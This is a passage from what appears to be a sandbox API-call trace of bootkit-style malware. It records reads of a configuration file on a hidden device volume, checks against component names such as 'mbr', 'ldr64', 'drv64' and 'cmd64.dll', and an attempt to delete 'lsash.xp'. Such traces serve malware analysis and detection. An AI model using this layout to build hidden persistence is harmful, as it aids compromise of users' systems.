MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.417] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.417] IdePortDispatch () returned 0x103 [0129.418] KeWaitForMutexObject () returned 0x0 [0129.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.418] KeLeaveCriticalRegion () [0129.418] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.418] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.418] KeEnterCriticalRegion () [0129.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.418] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.418] KeLeaveCriticalRegion () [0129.418] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.418] KeEnterCriticalRegion () [0129.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.418] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.418] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.418] KeLeaveCriticalRegion () [0129.418] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.418] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.419] KeEnterCriticalRegion () [0129.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.419] ExFreePoolWithTag (P=0xfffffa8003c03a60, Tag=0x0) [0129.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.419] KeLeaveCriticalRegion () [0129.419] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.419] ReleaseMutex (hMutex=0xf0) returned 1 [0129.419] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.419] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.419] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.419] KeEnterCriticalRegion () [0129.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.419] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.419] IdePortDispatch () returned 0x103 [0129.419] KeWaitForMutexObject () returned 0x0 [0129.419] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.419] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.419] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.419] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.419] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.419] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.419] KeLeaveCriticalRegion () [0129.419] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.419] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.419] KeEnterCriticalRegion () [0129.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.419] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.419] KeLeaveCriticalRegion () [0129.420] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.420] KeEnterCriticalRegion () [0129.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.420] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.420] IdePortDispatch () returned 0x103 [0129.420] KeWaitForMutexObject () returned 0x0 [0129.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.420] KeLeaveCriticalRegion () [0129.420] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.420] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.420] KeEnterCriticalRegion () [0129.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.420] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bec000 [0129.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.420] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.420] IdePortDispatch () returned 0x103 [0129.420] KeWaitForMutexObject () returned 0x0 [0129.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.421] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.421] IdePortDispatch () returned 0x103 [0129.421] KeWaitForMutexObject () returned 0x0 [0129.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.421] KeLeaveCriticalRegion () [0129.421] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.421] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.421] KeEnterCriticalRegion () [0129.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.421] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.421] KeLeaveCriticalRegion () [0129.421] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.421] KeEnterCriticalRegion () [0129.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.422] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.422] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.422] KeLeaveCriticalRegion () [0129.422] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.422] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.422] KeEnterCriticalRegion () [0129.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.422] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.422] KeLeaveCriticalRegion () [0129.422] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.422] ReleaseMutex (hMutex=0xf0) returned 1 [0129.422] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.422] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.422] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.422] KeEnterCriticalRegion () [0129.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.422] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.422] IdePortDispatch () returned 0x103 [0129.422] KeWaitForMutexObject () returned 0x0 [0129.422] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.422] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.422] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.422] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.422] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.422] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04010 [0129.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.422] KeLeaveCriticalRegion () [0129.422] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.423] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.423] KeEnterCriticalRegion () [0129.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.423] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.423] KeLeaveCriticalRegion () [0129.423] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.423] KeEnterCriticalRegion () [0129.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.423] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.423] IdePortDispatch () returned 0x103 [0129.423] KeWaitForMutexObject () returned 0x0 [0129.423] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.423] KeLeaveCriticalRegion () [0129.423] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.423] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.423] KeEnterCriticalRegion () [0129.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.423] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bed000 [0129.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.423] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.423] IdePortDispatch () returned 0x103 [0129.423] KeWaitForMutexObject () returned 0x0 [0129.424] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.424] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.424] IdePortDispatch () returned 0x103 [0129.424] KeWaitForMutexObject () returned 0x0 [0129.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.424] KeLeaveCriticalRegion () [0129.424] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.424] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.424] KeEnterCriticalRegion () [0129.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.424] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.424] KeLeaveCriticalRegion () [0129.425] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.425] KeEnterCriticalRegion () [0129.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.425] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.425] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.425] KeLeaveCriticalRegion () [0129.425] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.425] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.425] KeEnterCriticalRegion () [0129.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.425] ExFreePoolWithTag (P=0xfffffa8003c04010, Tag=0x0) [0129.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.425] KeLeaveCriticalRegion () [0129.425] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.425] ReleaseMutex (hMutex=0xf0) returned 1 [0129.425] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.425] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.425] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.425] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.425] KeEnterCriticalRegion () [0129.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.425] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.425] IdePortDispatch () returned 0x103 [0129.425] KeWaitForMutexObject () returned 0x0 [0129.426] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.426] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.426] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.426] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.426] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.426] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.426] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.426] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.426] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.426] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.426] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.426] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.426] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.426] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.426] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.426] KeLeaveCriticalRegion () [0129.426] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.426] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.426] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.426] KeEnterCriticalRegion () [0129.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.426] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.426] IdePortDispatch () returned 0x103 [0129.426] KeWaitForMutexObject () returned 0x0 [0129.426] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.426] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.426] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.427] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.427] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.427] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.427] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.427] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.427] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.427] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.427] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.427] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.427] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.427] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.427] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.427] KeLeaveCriticalRegion () [0129.427] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.427] ReleaseMutex (hMutex=0x100) returned 1 [0129.427] Sleep (dwMilliseconds=0x2bf20) [0129.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70580830, dwHighDateTime=0x1d24fa4)) [0129.434] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.434] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.434] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.434] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.434] KeEnterCriticalRegion () [0129.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.434] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.434] IdePortDispatch () returned 0x103 [0129.434] KeWaitForMutexObject () returned 0x0 [0129.434] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.434] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.434] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.434] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.434] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.434] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04010 [0129.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.434] KeLeaveCriticalRegion () [0129.434] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.435] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.435] KeEnterCriticalRegion () [0129.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 